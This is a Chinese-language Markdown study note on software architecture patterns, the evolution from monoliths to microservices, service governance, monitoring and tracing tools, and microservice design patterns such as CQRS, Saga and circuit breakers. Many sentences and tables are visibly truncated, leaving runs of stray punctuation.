< div style = "color:#16b0ff;font-size:50px;font-weight: 900;text-shadow: 5px 5px 10px var(--theme-color);font-family: 'Comic Sans MS';" > Architecture< / div >
< span style = "color:#16b0ff;font-size:20px;font-weight: 900;font-family: 'Comic Sans MS';" > Introduction</ span > ：收纳技术相关的 `架构` 等总结！
[TOC]
# 架构演进
## 软件架构模式
有没有想过要设计多大的企业规模系统？在主要的软件开发开始之前，我们必须选择一个合适的体系结构，它将为我们提供所需的功能和质量属性。因此，在将它们应用到我们的设计之前，我们应该了解不同的体系结构。
架构模式是一个通用的、可重用的解决方案，用于在给定上下文中的软件体系结构中经常出现的问题。架构模式与软件设计模式类似，但具有更广泛的范围。
### 分层模式
这种模式也称为多层体系架构模式。它可以用来构造可以分解为子任务组的程序，每个子任务都处于一个特定的抽象级别。每个层都为下一个提供更高层次服务。
一般信息系统中最常见的是如下所列的4层。
- 表示层(也称为UI层)
- 应用层(也称为服务层)
- 业务逻辑层(也称为领域层)
- 数据访问层(也称为持久化层)
使用场景：
- 一般的桌面应用程序
- 电子商务Web应用程序
### 客户端-服务器模式
这种模式由两部分组成：一个服务器和多个客户端。服务器组件将为多个客户端组件提供服务。客户端从服务器请求服务，服务器为这些客户端提供相关服务。此外，服务器持续侦听客户机请求。
使用场景：
- 电子邮件，文件共享和银行等在线应用程序
### 主从设备模式
这种模式由两方组成;主设备和从设备。主设备组件在相同的从设备组件中分配工作，并计算最终结果，这些结果是由从设备返回的结果。
使用场景：
- 在数据库复制中，主数据库被认为是权威的来源，并且要与之同步
- 在计算机系统中与总线连接的外围设备(主和从驱动器)
### 管道-过滤器模式
此模式可用于构造生成和处理数据流的系统。每个处理步骤都封装在一个过滤器组件内。要处理的数据是通过管道传递的。这些管道可以用于缓冲或用于同步。
使用场景：
- 编译器。连续的过滤器执行词法分析、解析、语义分析和代码生成
- 生物信息学的工作流
### 代理模式
此模式用于构造具有解耦组件的分布式系统。这些组件可以通过远程服务调用彼此交互。代理组件负责组件之间的通信协调。
服务器将其功能(服务和特征)发布给代理。客户端从代理请求服务，然后代理将客户端重定向到其注册中心的适当服务。
使用场景：
- 消息代理软件， ， ，
### 点对点模式
在这种模式中，单个组件被称为对等点。对等点可以作为客户端，从其他对等点请求服务，作为服务器，为其他对等点提供服务。对等点可以充当客户端或服务器或两者的角色，并且可以随时间动态地更改其角色。
使用场景：
- 像Gnutella和G2这样的文件共享网络
- 多媒体协议，
- 像Spotify这样的专有多媒体应用程序
### 事件总线模式
这种模式主要是处理事件， ： ，
使用场景：
- 安卓开发
- 通知服务
### 模型-视图-控制器模式
这种模式， ， ，
- 模型：包含核心功能和数据
- 视图：将信息显示给用户(可以定义多个视图)
- 控制器：处理用户输入的信息
这样做是为了将信息的内部表示与信息的呈现方式分离开来，并接受用户的请求。它分离了组件，并允许有效的代码重用。
使用场景：
- 在主要编程语言中互联网应用程序的体系架构
- 像Django和Rails这样的Web框架
### 黑板模式
这种模式对于没有确定解决方案策略的问题是有用的。黑板模式由3个主要组成部分组成。
- 黑板——包含来自解决方案空间的对象的结构化全局内存
- 知识源——专门的模块和它们自己的表示
- 控制组件——选择、配置和执行模块
所有的组件都可以访问黑板。组件可以生成添加到黑板上的新数据对象。组件在黑板上查找特定类型的数据，并通过与现有知识源的模式匹配来查找这些数据。
使用场景：
- 语音识别
- 车辆识别和跟踪
- 蛋白质结构识别
- 声纳信号的解释
### 解释器模式
这个模式用于设计一个解释用专用语言编写的程序的组件。它主要指定如何评估程序的行数，即以特定的语言编写的句子或表达式。其基本思想是为每种语言的符号都有一个分类。
使用场景：
- 数据库查询语言，
- 用于描述通信协议的语言
## 单体应用架构(Monoliths)
互联网早期， ， ， ， ， ， ， ， ， ，
**优点**
- 项目架构简单，小型项目的话， 开发成本低
- 项目部署在一个节点上， 维护方便
**缺点**
- 全部功能集成在一个工程中，对于大型项目来讲不易开发和维护
- 项目模块之间紧密耦合，单点容错率低
- 无法针对不同模块进行针对性优化和水平扩展
## 垂直应用架构(Vertical)
随着访问量的逐渐增大，单一应用只能依靠增加节点来应对，但是这时候会发现并不是所有的模块都会有比较大的访问量。还是以上面的电商为例子， 用户访问量的增加可能影响的只是用户和订单模块， 但是对消息模块的影响就比较小. 那么此时我们希望只多增加几个订单模块， 而不增加消息模块. 此时单体应用就做不到了， 垂直应用就应运而生了。所谓的垂直应用架构，就是将原来的一个应用拆成互不相干的几个应用，以提升效率。比如我们可以将上面电商的单体应用拆分成:
- 电商系统(用户管理 商品管理 订单管理)
- 后台系统(用户管理 订单管理 客户管理)
- CMS系统(广告管理 营销管理)
这样拆分完毕之后， ， ，
**优点**
- 系统拆分实现了流量分担，解决了并发问题，而且可以针对不同模块进行优化和水扩展
- 一个系统的问题不会影响到其他系统，提高容错率
**缺点**
- 系统之间相互独立， 无法进行相互调用
- 系统之间相互独立， 会有重复的开发任务
## 分布式架构(Distributed)
即分布式架构当垂直应用越来越多，重复的业务代码就会越来越多。这时候，我们就思考可不可以将重复的代码抽取出来，做成统一的业务层作为独立的服务，然后由前端控制层调用不同的业务层服务呢？
这就产生了新的分布式系统架构。它将把工程拆分成表现层和服务层两个部分，服务层中包含业务逻辑。表现层只需要处理和页面的交互，业务逻辑都是调用服务层的服务来实现。
**优点**
- 抽取公共的功能为服务层，提高代码复用性
**缺点**
- 系统间耦合度变高，调用关系错综复杂，难以维护
## 面向服务化架构(SOA)
在分布式架构下，当服务越来越多，容量的评估，小服务资源的浪费等问题逐渐显现，此时需增加一个调度中心对集群进行实时管理。此时，用于资源调度和治理中心(SOA Service Oriented Architecture，
**优点**
- 使用注册中心解决了服务间调用关系的自动调节
**缺点**
- 服务间会有依赖关系，一旦某个环节出错会影响较大( 服务雪崩 )
- 服务关心复杂，运维、测试部署困难
## 微服务架构(Micro Service)
https://juejin.cn/user/4177799914474653/posts
https://www.cnblogs.com/jiujuan/p/13280473.html
微服务架构在某种程度上是面向服务的架构SOA继续发展的下一步，
**优点**
- 更好的开发规模
- 更快的开发速度
- 支持迭代开发或现代化增量开发
- 充分利用现代软件开发生态系统的优势（云、容器、 DevOps、Serverless）
- 支持水平缩放和细粒度缩放
- 小体量，较低了开发人员的认知复杂性
**缺点**
- 更高数量级的活动组件（服务、数据库、进程、容器、框架）
- 复杂性从代码转移到基础设施
- RPC 调用和网络通信的大量增加
- 整个系统的安全性管理更具有挑战性
- 整个系统的设计变得更加困难
- 引入了分布式系统的复杂性
### 微服务定义
- **一组小的服务**
原来的单块服务都是业务能力大而全的打包在一个单块中， ， ， ， ， ， ， ， ，
- **独立的进程**
微服务是运行在独立的进程当中， ， ， ，
- **轻量级的通讯**
微服务主张使用轻量级去构建通讯机制， ， ， ，
- **基于业务能力**
微服务是基于业务能力进行构建，例如有用户服务，登陆服务，商品服务，基于这些业务能力去构建这些微服务。
- **独立部署**
微服务被拆分开后，每个团队独立维护自己的微服务，开发，迭代自己的微服务，是可以独立的去部署，团队之间是不需要特别的去协调，这些对业务开发维护可以做到更加的敏捷，轻量，快速。
- **无集中式管理**
原来单体服务是需要整个技术团队是需要独立的架构团队去管理，统一架构，统一技术栈，统一存储，微服务就不太一样，微服务主张每个团队根据自己的技术需要，选择自己最熟悉，最高效解决问题的技术栈，甚至选择不同存储方式。
### 康威定律
> 康威法则设计系统的组织，其产生的设计和架构，等价组织的组织架构
**单块应用时代**
几个团队共同去对一个单块应用去开发和维护时，如果一个团队对这个单块应用进行改造引入一些新的功能或技术的时候，往往需要其他的团队协作和配合，连同做集成测试才能交付这个应用，这个时候，不仅仅是沟通协调成本高，团队和团队之间往往容易产生摩擦。**也就是说，多团队之间和单应用产生不匹配，违反康威法则**。怎么解决，微服务是一个解决的手段：
我们把单块的应用拆分成诺干个独立的应用， ， ， ， ， ， ， ，
### 微服务利弊
- **利**
- **强模块化边界**
我们知道做软件架构， ， ， ， ， ， ， ， ， ， ， ，
- **可独立部署**
可独立部署是微服务最显著的一个特性，每个团队可以根据自己的业务需求，当产品经理或业务方把需求提过来，可以根据需要独立开发和部署服务，一般来说不需要太过依赖其他团队去协同，这个对比单块应用，单块引用在这个方面需求很多团队来协助和帮忙。
- **技术多样性**
微服务是分散式治理， ， ， ， ， ， ，
- **弊**
- **分布式复杂性**
在原来单块应用就是一个应用，一个对单块应用的架构比较熟悉的人可以对整个单块应用有一个很好的把控。但是到了分布式系统，微服务化了以后可能涉及到的服务有好几十个，一些大公司可能涉及到的服务上百个，服务与服务之间是通过相互沟通来实现业务，那么这个时候整个系统就变成非常复杂，一般的开发人员或一个团队都无法理解整个系统是如何工作的，这个就是分布式带来的复杂性。
- **最终一致性**
微服务的数据是分散式治理的， ， ， ， ， ， ， ，
- **运维复杂性**
以往的运维需要管理的是机器+单块的应用，分布式系统和单块应用不一样的是，分布式系统需要很多的服务，服务与服务之间相互协同，那么对分布式系统的资源，容量规划，对监控，对整个系统的可靠性稳定性都非常具备挑战的。
- **测试复杂性**
对测试人员来说，在单块应用上，一个测试团队只需要测试一个单块应用就可以了，到了分布式系统，各个服务是分布在各个团队的，这个对测试团队来说要求就很好，做集成测试的时候需要很多的团队相互配合去联合做集成测试。
### 微服务分层
**BFF是什么？
BFF即 Backend For Frontend（ ） ， ， ，
一般将微服务整个体系大的方向划分为2层， ：
在最上层不属于微服务有很多的连接方式， ， ， ， ， ， ， ，
- **微服务基础服务层**
基础服务一般属于互联网平台基础性的支撑服务， ， ， ， ， ， ， ， ， （ ， ， ） ，
- **微服务聚合服务层**
已经有了基础服务能提供业务能力， ， ， ， ， ， ， ， ， ， ， ， ， ， ， ， ， ， ，
除了裁剪， ， ， （ ， ， ） ， ， ， ， ， ， ， ，
这个层在各个公司有不同叫法，有叫 聚合服务，边界服务，设配服务 netflix叫边界服务， ，
**代码分层设计**
### 技术架构体系
- **接入层**
接入层负责把外部的流量接入到内部平台系统中来，涉及到更多是基础设施，由运维团队进行负责。
- **基础设施层**
基础设施层主要是由运维团队来进行维护，设计由计算，也计算资源的分配，网络，存储，监控，安全等等
- **网关层**
流量接进来之后，会先经过一个网关层，网关在微服务起到举足轻重的作用，主要起到反向路由，限流熔断，安全，鉴权等等的跨横切面的功能，这个层在微服务中起到核心的层次。
- **业务服务层**
整个业务服务按照逻辑划分为两次，分别是聚合层和基础服务层，聚合层对基础层进行聚合和裁剪，对外部提供业务能力。当然这个视每个公司不同情况而定，此层再划分两层是属于逻辑划分。
- **支撑服务层**
微服务并不是单单把业务服务启动起来就完毕， ， ， ， ， ， ， ， ， ， ，
- **平台服务层**
在微服务逐步完善的过程中， ， ， ， ， ， ， ，
### 服务发现机制
**第一种 传统Lb模式**
这个模式有一个独立的Lb， ， ， ， ， ， ， ， ， ， ， ， ， ， ， ， ， ，
**第二种 进程内Lb模式**
这种做法把传统的Lb转移到进程内， ， ， ， ， ， ， ， ， ，
**第三种 主机独立Lb模式**
主机独立Lb模式是在前面传统Lb和进程内Lb的模式上做了折中， ， ， ， ， ， ， ， ， ， ，
### API网关
让客户看公司的服务会认为是一个整体的服务。这个就是我们的网关所起到的作用，能够屏蔽我们内部的细节，统一输出对外的接口。
从这张图上看到有四个层次， ， ， ， ， ， ， ， ， ， ， ， ， ：
- 最重要的一个重要反向路由，当外面的请求进来之后，怎么找到内部具体的微服务，这个是网关起来重要职责，将外部的调用转化为内部的服务服务，这个就是反向路由
- 第二个是认证安全，网关像是一个门卫，有一些访问是正常的访问，有一些是恶意的访问，例如说爬虫，甚至是一些黑客行为，网关需要将其拦截在外部- 第三个重要职责是限流熔断，比方说，有一个门，外面有流量进来，正常来说流量是比较稳定的，但也有可能有突发流量，有可能网站在搞促销，这个时候可能就有流量的洪峰闯进来，如果说内部没有好的限流熔断措施，可能造成内部整个服务的服务器瘫痪，网关就要承担限流熔断的职责。
- 最后一个功能，网关要承担日志监控的职责，外部的访问所有的流量都要经过网关，那么可以在网关上可以对所有的流量做访问的审计，把它作为日志保存起来，另外可以通过分析日志，知道性能的调用情况，能够对整个流量情况进行监控
### 路由发现体系
在Netflix的微服务架构中，
- Netflix的大名鼎鼎的注册中心组件叫Eureka
- 另一个Netflix也是大名鼎鼎的网关组件叫Zuul
Netflix在内部微服务上也是两层的逻辑划分， （ ） ， ， （ ） ， ， ， ， ，
网关层是处在外部调用和聚合服务之间的层， ， ， ， ，
另外注册中心和网关还可以对整个调用进行治理，比方说对服务的调用进行安全管控，哪些服务是是有严格的安全要求，不允许随便进行调用，哪些服务可以通过网关放出去，这些能力可以通过网关和注册中心进行实现。这些就是服务治理相关的能力。
### 配置中心
配置中心可以简单的理解为一个服务模块，开发人员或运维人员可以通过界面对配种中心进行配置，下面相关的微服务连接到配置中心上面就可以实时连接获取到配置中心上面修改的参数。更新的方式一般有两种
- pull模式，
- push模式， ， ，
这两种做法其实各有利弊
- pull可以保证一定可以拉取得到数据， ， ， ，
- push也有好处， ， ， ， ， ，
目前比较流行的配种中心开源组件有springcloud-Config， ， ， ， ，
也是一个服务器， ， ， ， ， ， ， ， ， ， ， ， ，
另外一点， ， ， ， ， ， ， ， ， ， ， ， ，
### 微服务治理
- **服务注册发现**
微服务当中有很多服务，几十个上百个，它们当中有错中复杂的依赖关系，这个时候就存在服务的消费者怎么发现生产者，这个就是服务注册发现需要解决的问题。
- **服务的负载均衡**
为了应对大的流量，我们的服务提供方一般都是大规模部署，这个时候就存在服务的负载均衡的问题，另外我们的服务需要路由，这个能力非常重要，如果我们需要灰度发布或者蓝绿发布的机制，那么需要考虑软路由的机制。
- **监控-日志**
日志对于我们后期排错找出问题，定位问题是非常关键，我们一套好的监控治理框架需要集成日志服务
- **监控-metrics**
当我们需要对服务的调用量进行监控， ，
- **监控-调用链埋点**
微服务有错综复杂的调用关系，就像一个网状一般，如果没有好的调用链监控，开发人员很容易迷失在当中，出问题很难定位，有了好的调用链监控会帮助我们快速定位问题，更好的理解整套微服务系统。
- **限流熔断**
微服务是一个分布式系统，如果没有好的限流熔断措施，当一个服务出现故障或者出现延迟，会造成整个系统瘫痪。
- **安全-访问控制**
有些服务并不希望所有的人都能去调用到，涉及到一些敏感信息，比例跟钱相关的信息，那么我们需要安全和访问的控制策略，来限制对这些服务的访问。
- **rpc & rest**
rpc和rest根据之前的对比， ， ， ，
- **序列化**
序列化中，有高性能但对开发人员不优化的二进制序列化，也有对开发人员相当友好的但性能未必最佳的文本式序列化，这个需要根据场景进行灵活的配置，消息系列化协议
- **代码生成**
现在在大规模开发的情况下，比较推从一个契约驱动开发的方法，开发人员先定立契约，代码自动生成的方式生成对应的代码脚手架，这个在大规模开发的时候更能确保代码的一致和规整
- **统一异常处理**
我们希望服务治理的环节能集成统一的服务异常处理的能力，这样的化异常能够达到更加标准化，出现问题能更好定位好属于什么类型的问题。如果说没有这样的一个环节，大家各自的玩法不一样，抛的异常各异，出现问题难以定位和无法标准化友好输出。
- **文档**
微服务最终是要给消费者去使用， ， ， ，
- **集中配置中心**
微服务框架需要集成集中式的配置能力，避免各个服务间各自配置，增快参数调整的速度和规范统一格式。
- **后台集成MQ， ，
微服务治理的核心思路就是把上面讲到的各个环节沉淀下来，变成平台和框架的一部分，开发人员可以更加专注业务逻辑的实现，在实现业务逻辑的时候不需要去关注外部环节的，从而提升开发的效率，治理环节沉淀在框架之中有专门的平台架构团队去进行管控。
### 微服务分层监控
**分层监控**
- **基础设施监控**
一般是由运维人员进行负责，涉及到的方面比较接近硬件体系，例如网络，交换机，路由器等低层设备，这些设备的可靠性稳定性就直接影响到上层服务应用的稳定性，所以需要对网络的流量，丢包情况，错包情况，连接数等等这些基础设施的核心指标进行监控。
- **系统层监控**
涵盖了物理机， ， ， ， ， ，
- **应用层监控**
涉及到方面就跟服务紧密相关， ， ， ， ， ， ， ， ， ，
- **业务监控**
比方说一个典型的交易网站，需要关注它的用户登录情况，注册情况，下单情况，支付情况，这些直接影响到实际触发的业务交易情况，这个监控可以提供给运营和公司高管他们需需要关注的数据，直接可能对公司战略产生影响。
- **端用户体验监控**
一个应用程序可能通过app， ， ， ， ， ， ， ， ， ， ， ， ， ， ， ， ， ， ，
**监控点**
可以通过以下几点进行监控：
- 日志监控
- Metrics监控
- 调用链监控
- 报警系统
- 健康检查
**典型主流的监控架构**
在微服务运行的体系下， ， ， ， ， ， ， ， ， ， ， ，
日志收集目前比较流行的是ELK的一套解决方案， （ ， ， ） ， ， ，
metrice会采用一个时间序列的数据库，
微服务的agent例如springboot也提供了健康检查的端点， ， ， ， ， ， ， ，
### 调用链
微服务是一个分布式非常复杂系统，如果没有一套调用链监控，如果服务之间依赖出现问题就很难进行调位。
目前个大主流互联网公司中， ， ， ， ， ， ：
在外界对微服务进行一个请求开始进入我们的微服务体系时， ， ， ， ， ， ， ， ， ， ， ， ， ， ， ， ， ， ，
这里可以采用ELK的方式去记录和展示调用链监控日志， ：
通过traceId 和 parentSpanId 就可以串联起来为一个整体的链路，并可以从这个链路去分析错误或者调用延时和调用次数等等。
目前市面主流的调用链选型有 zipkin， ， ， ， ， ， ， ， ， ， ，
**skywalking优势**
- 首先在实现方式上， ， ， ， ，
- 其次在分析的颗粒度上， ， ，
- 在数据存储上， ， ， ， ， ， ， ，
- 还有就是性能影响， ， ， ， ，
下面是网上摘录的几款调用链选型对比：
**基本原理**
| 类别 | Zipkin | Pinpoint | SkyWalking CAT |
| -------- | ------------------------------------------ | -------------------- | -------------------- |
| 实现方式 | 拦截请求， （ ， ） ， ，
**接入**
| 类别 | Zipkin | Pinpoint | SkyWalking | CAT |
| ---------------------- | --------------------------------------- | ----------------- | --------------- | -------- |
| 接入方式」 | 基于linkerd或者sleuth方式，
| agent到collector的协议 | http,MQ | thrift | gRPC | http/tcp |
| OpenTracing | √ | × ×
**分析**
| 类别 | Zipkin | Pinpoint | SkyWalking | CAT |
| ------------ | ------ | -------- | ---------- | ------ |
| 颗粒度 | 接口级 | 方法级 | 方法级 | 代码级 |
| 全局调用统计 | ×
| traceid查询 | √ | × ×
| 报警 | ×
| JVM监控 | × ×
**页面UI展示**
| 类别 | Zipkin | Pinpoint | SkyWalking | CAT |
| ------ | ------ | ---------- | ---------- | ---------- |
| 健壮度 | \*\* | \*\*\*\*\* | \*\*\*\* | \*\*\*\*\* |
**数据存储**
| 类别 | Zipkin | Pinpoint | SkyWalking | CAT |
| -------- | ------------------------ | -------- | ---------- | ---------- |
| 数据存储 | ES， ，
### 流量治理
**熔断**
如果说房子里面安装了电路熔断器，当你使用超大功率的电路时，有熔断设配帮你保护不至于出问题的时候把问题扩大化。
**隔离**
我们知道计算资源都是有限的， ， ， ， ， ， ， ， ，
**限流**
让大流量的访问冲进去我们的服务时，我们需要一定的限流措施，比方说我们规则一定时间内只允许一定的访问数从我们的资源过，如果再大的化系统会出现问题，那么就需要限流保护。
**降级**
如果说系统后题无法提供足够的支撑能力，那么需要一个降级能力，保护系统不会被进一步恶化，而且可以对用户提供比较友好的柔性方案，例如告知用户暂时无法访问，请在一段时候后重试等等。
**Hystrix**
Hystrix就把上面说的 熔断，隔离，限流，降级封装在这么一个组件里面 下图是Hystrix内部设计和调用流程
大致的工作流如下：
- 构建一个HystrixCommand对象， ，
- 执行命令， ，
- 判断电路是否被打开， ，
- 判断线程池/队列/信号量是否已经满， ，
- 执行run方法， ， ， ，
- 无论中间走到哪一步都会进行上报metrics，
- fallback方法也分实现和备用的环节
- 最后是返回请求响应
### 设计模式
#### 独享数据库（ ）
当一家公司将大型单体系统替换成一组微服务，首先要面临的最重要决策是关于数据库。单体架构会使用大型中央数据库。即使转移到微服务架构许多架构师仍倾向于保持数据库不变。虽然有一些短期收益，但它却是反模式的，特别是在大规模系统中，微服务将在数据库层严重耦合，整个迁移到微服务的目标都将面临失败（例如，团队授权、独立开发等问题）。
更好的方法是为每个微服务提供自己的数据存储，这样服务之间在数据库层就不存在强耦合。这里我使用数据库这一术语来表示逻辑上的数据隔离，也就是说微服务可以共享物理数据库，但应该使用分开的数据结构、集合或者表，这还将有助于确保微服务是按照领域驱动设计的方法正确拆分的。
优点
- 数据由服务完全所有
- 服务的开发团队之间耦合度降低
缺点
- 服务间的数据共享变得更有挑战性
- 在应用范围的保证 ACID 事务变得困难许多
- 细心设计如何拆分单体数据库是一项极具挑战的任务
何时使用独享数据库
- 在大型企业应用程序中
- 当团队需要完全把控微服务以实现开发规模扩展和速度提升
何时不宜使用独享数据库
- 在小规模应用中
- 如果是单个团队开发所有微服务
可用技术示例
所有 SQL、 NoSQL 数据库都提供数据的逻辑分离（例如，单独的表、集合、结构、数据库）。
#### 事件源（ ）
在微服务架构中， ， ， ， ， ， （ ） ，
在这些场景，可以基于事件的架构使用事件源模式。在传统数据库中，直接存储的是业务实体的当前“状态”，而在事件源中任何“状态”更新事件或其他重要事件都会被存储起来，而不是直接存储实体本身。这意味着业务实体的所有更改将被保存为一系列不可变的事件。因为数据是作为一系列事件存储的，而非直接更新存储，所以各项服务可以通过重放事件存储中的事件来计算出所需的数据状态。
优点
- 为高可伸缩系统提供原子性操作。
- 自动记录实体变更历史，包括时序回溯功能。
- 松耦合和事件驱动的微服务。
缺点
- 从事件存储中读取实体成为新的挑战， （
- 系统整体复杂性增加了，通常需要领域驱动设计
- 系统需要处理事件重复（幂等）或丢失
- 变更事件结构成为新的挑战
何时使用事件源
- 使用关系数据库的、高可伸缩的事务型系统
- 使用 NoSQL 数据库的事务型系统
- 弹性高可伸缩微服务架构
- 典型的消息驱动或事件驱动系统（电子商务、预订和预约系统）
何时不宜使用事件源
- 使用 SQL 数据库的低可伸缩性事务型系统
- 在服务可以同步交换数据（例如，通过 API）
#### 命令和查询职责分离（ ）
如果我们使用事件源，那么从事件存储中读取数据就变得困难了。要从数据存储中获取实体，我们需要处理所有的实体事件。有时我们对读写操作还会有不同的一致性和吞吐量要求。
这种情况，我们可以使用 CQRS 模式。在该模式中，系统的数据修改部分（命令）与数据读取部分（查询）是分离的。而 CQRS 模式有两种容易令人混淆的模式，分别是简单的和高级的。
在其简单形式中，不同实体或 ORM 模型被用于读写操作，如下所示：
它有助于强化单一职责原则和分离关注点，从而实现更简洁的设计。
在其高级形式中，会有不同的数据存储用于读写操作。高级的 CQRS 通常结合事件源模式。根据不同情况，会使用不同类型的写数据存储和读数据存储。写数据存储是“记录的系统”，也就是整个系统的核心源头。
对于读频繁的应用程序或微服务架构，
对搜索（例如 Apache Solr、Elasticsearch） （
数据是从写存储异步复制到读存储中的，所以读存储和写存储之间会有延迟，但最终是一致的。
优点
- 在事件驱动的微服务中数据读取速度更快
- 数据的高可用性
- 读写系统可独立扩展
缺点
- 读数据存储是弱一致性的（最终一致性）
- 整个系统的复杂性增加了，混乱的 CQRS 会显着危害整个项目
何时使用 CQRS
- 在高可扩展的微服务架构中使用事件源
- 在复杂领域模型中，读操作需要同时查询多个数据存储
- 在读写操作负载差异明显的系统中
何时不宜使用 CQRS
- 在没有必要存储大量事件的微服务架构中，用事件存储快照来计算实体状态是一个更好的选择
- 在读写操作负载相近的系统中
#### Saga
如果微服务使用独享数据库，那么通过分布式事务管理一致性是一个巨大的挑战。你无法使用传统的两阶段提交协议，因为它要么不可伸缩（关系数据库），要么不被支持（多数非关系数据库）。
但您还是可以在微服务架构中使用 Saga 模式实现分布式事务。Saga 是 1987 年开发的一种古老模式， ，
如果本地事务失败，
Saga 事务协调管理主要有两种形式：
- 事件编排 Choreography： ，
- 命令编排 Orchestration： ，
优点
- 为高可伸缩或松耦合的、事件驱动的微服务架构提供一致性事务
- 为使用了不支持 2PC 的非关系数据库的微服务架构提供一致性事务
缺点
- 需要处理瞬时故障，并且提供等幂性
- 难以调试，而且复杂性随着微服务数量增加而增加
何时使用 Saga
- 在使用了事件源的高可伸缩、松耦合的微服务中
- 在使用了分布式非关系数据库的系统中
何时不宜使用 Saga
- 使用关系数据库的低可伸缩性事务型系统
- 在服务间存在循环依赖的系统中
#### 面向前端的后端 （ ）
在现代商业应用开发，特别是微服务架构中，前后端应用是分离和独立的服务，它们通过 API 或 GraphQL 连接。如果应用程序还有移动 App 客户端，那么 Web 端和移动客户端使用相同的后端微服务就会出现问题。因为移动客户端和 Web 客户端有不同的屏幕尺寸、显示屏、性能、能耗和网络带宽，它们的 API 需求不同。
面向前端的后端模式适用于需要为特殊 UI 定制单独后端的场景。它还提供了其他优势，比如作为下游微服务的封装，从而减少 UI 和下游微服务之间的频繁通信。此外， ，
优点
- 分离 BFF 之间的关注点，使得我们可以为具体的 UI 优化他们
- 提供更高的安全性
- 减少 UI 和下游微服务之间频繁的通信
缺点
- BFF 之间代码重复
- 大量的 BFF 用于其他用户界面（ ， ， ， ，
- 需要仔细的设计和实现，
何时使用 BFF
- 如果应用程序有多个含不同 API 需求的 UI
- 出于安全需要，
- 如果在 UI 开发中使用微前端
何时不宜使用 BFF
- 如果应用程序虽有多个 UI，
- 如果核心微服务不是部署在 DMZ 网络中
可用技术示例
任何后端框架（ ， ， ， ， ， ， ）
#### API网关
在微服务架构中， （ ） （
一个解决这些问题的可行方法是使用 API 网关。API 网关位于客户端 APP 和后端微服务之间充当 facade， ， ，
优点
- 在前端和后端服务之间提供松耦合
- 减少客户端和微服务之间的调用次数
- 通过 SSL 终端、身份验证和授权实现高安全性
- 集中管理的横切关注点，例如，日志记录和监视、节流、负载平衡
缺点
- 可能导致微服务架构中的单点故障
- 额外的网络调用带来的延迟增加
- 如果不进行扩展，它们很容易成为整个企业应用的瓶颈
- 额外的维护和开发费用
何时使用 API 网关
- 在复杂的微服务架构中，它几乎是必须的
- 在大型企业中，
何时不宜使用 API 网关
- 在安全和集中管理不是最优先要素的私人项目或小公司中
- 如果微服务的数量相当少
#### Strangler
如果想在运行中的项目中使用微服务架构，我们需要将遗留的或现有的单体应用迁移到微服务。将现有的大型在线单体应用程序迁移到微服务是相当有挑战性的，因为这可能破坏应用程序的可用性。
一个解决方案是使用 Strangler 模式。Strangler 模式意味着通过使用新的微服务逐步替换特定功能，将单体应用程序增量地迁移到微服务架构。此外，新功能只在微服务中添加，而不再添加到遗留的单体应用中。然后配置一个 Facade （ ） ， ， （ ） ，
优点
- 安全的迁移单体应用程序到微服务
- 可以并行地迁移已有功能和开发新功能
- 迁移过程可以更好把控节奏
缺点
- 在现有的单体应用服务和新的微服务之间共享数据存储变得具有挑战性
- 添加 Facade （
- 端到端测试变得困难
何时使用 Strangler
- 将大型后端单体应用程序的增量迁移到微服务
何时不宜使用 Strangler
- 如果后端单体应用很小，那么全量替换会更好
- 如果无法拦截客户端对遗留的单体应用程序的请求
#### 断路器
在微服务架构中，微服务通过同步调用其他服务来满足业务需求。服务调用会由于瞬时故障（网络连接缓慢、超时或暂时不可用） 导致失败， ， （ ） ， ， （ ，
在这种情况，可以使用断路器模式挽救。一个微服务通过代理请求另一个微服务，其工作原理类似于电气断路器，代理通过统计最近发生的故障数量，并使用它来决定是继续请求还是简单的直接返回异常。
断路器可以有以下三种状态：
- 关闭：断路器将请求路由到微服务，并统计给定时段内的故障数量，如果超过阈值，它就会触发并进入打开状态
- 打开：来自微服务的请求会快速失败并返回异常。在超时后，断路器进入半开启状态
- 半开：只有有限数量的微服务请求被允许通过并进行调用。如果这些请求成功，断路器将进入闭合状态。如果任何请求失败，断路器则会进入开启状态
优点
- 提高微服务架构的容错性和弹性
- 阻止引发其他微服务的级联故障
缺点
- 需要复杂的异常处理
- 日志和监控
- 应该支持人工复位
何时使用断路器
- 在微服务间使用同步通信的紧耦合的微服务架构中
- 如果微服务依赖多个其他微服务
何时不宜使用断路器
- 松耦合、事件驱动的微服务架构
- 如果微服务不依赖于其他微服务
#### 外部化配置
每个业务应用都有许多用于各种基础设施的配置参数（ ， ） （ ） ， ， ， ， ， ，
更好的方法是将所有配置外部化，使得构建过程与运行环境分离，生产的配置文件只在运行时或通过环境变量使用，从而最小化了安全风险。
优点
- 生产配置不属于代码库，因而最小化了安全漏洞
- 修改配置参数不需要重新构建应用程序
缺点
- 我们需要选择一个支持外部化配置的框架
何时使用外部化配置
- 任何重要的生产应用程序都必须使用外部化配置
何时不宜使用外部化配置
- 在验证概念的开发中
#### 消费端驱动的契约测试
在微服务架构中，通常有许多有不同团队开发的微服务。这些微型服务协同工作来满足业务需求（例如，客户请求），并相互进行同步或异步通信。消费端微服务的集成测试具有挑战性，通常用 TestDouble 以获得更快、更低成本的测试运行。但是 TestDouble 通常并不能代表真正的微服务提供者，而且如果微服务提供者更改了它的 API 或 消息，那么 TestDouble 将无法确认这些。另一种选择是进行端到端测试， ， （ ）
在这方面消费端驱动的契约测试可以帮助我们。在这里，负责消费端微服务的团队针对特定的服务端微服务，编写一套包含了其请求和预期响应（同步）或消息（异步）的测试套件，这些测试套件称为显式的约定。对于微服务服务端，将其消费端所有约定的测试套件都添加到其自动化测试中。当特定服务端微服务的自动化测试执行时，它将一起运行自己的测试和约定的测试并进行验证。通过这种方式，契约测试可以自动的帮助维护微服务通信的完整性。
优点
- 如果提供程序意外更改 API 或消息，可以被快速的自动发现
- 更少意外、更健壮，特别是包含大量微服务的企业应用程序
- 改善团队自主性
缺点
- 需要额外的工作来开发和集成微服务服务端的契约测试，因为他们可能使用完全不同的测试工具
- 如果契约测试与真实服务情况不匹配，将可能导致生产故障
何时使用需求驱动的契约测试
- 在大型企业业务应用程序中，通常由不同的团队开发不同服务
何时不宜使用消费端驱动的契约测试
- 所有微服务由同一团队负责开发的小型简单的应用程序
- 如果服务端微服务是相对稳定的，并且不处在活跃的开发状态
### 关键设计
#### 监控-发现故障的征兆
#### 定位问题-链路跟踪
要实现链路跟踪， ：
- traceId：
- spanId： ，
- parentId：
- requestTime & responseTime：
#### 分析问题-日志分析
一般使用ELK日志分析组件。ELK是Elasticsearch、Logstash和Kibana三个组件的缩写。
- Elasticsearch： ，
- Logstash： ， ， ，
- Kibana： ，
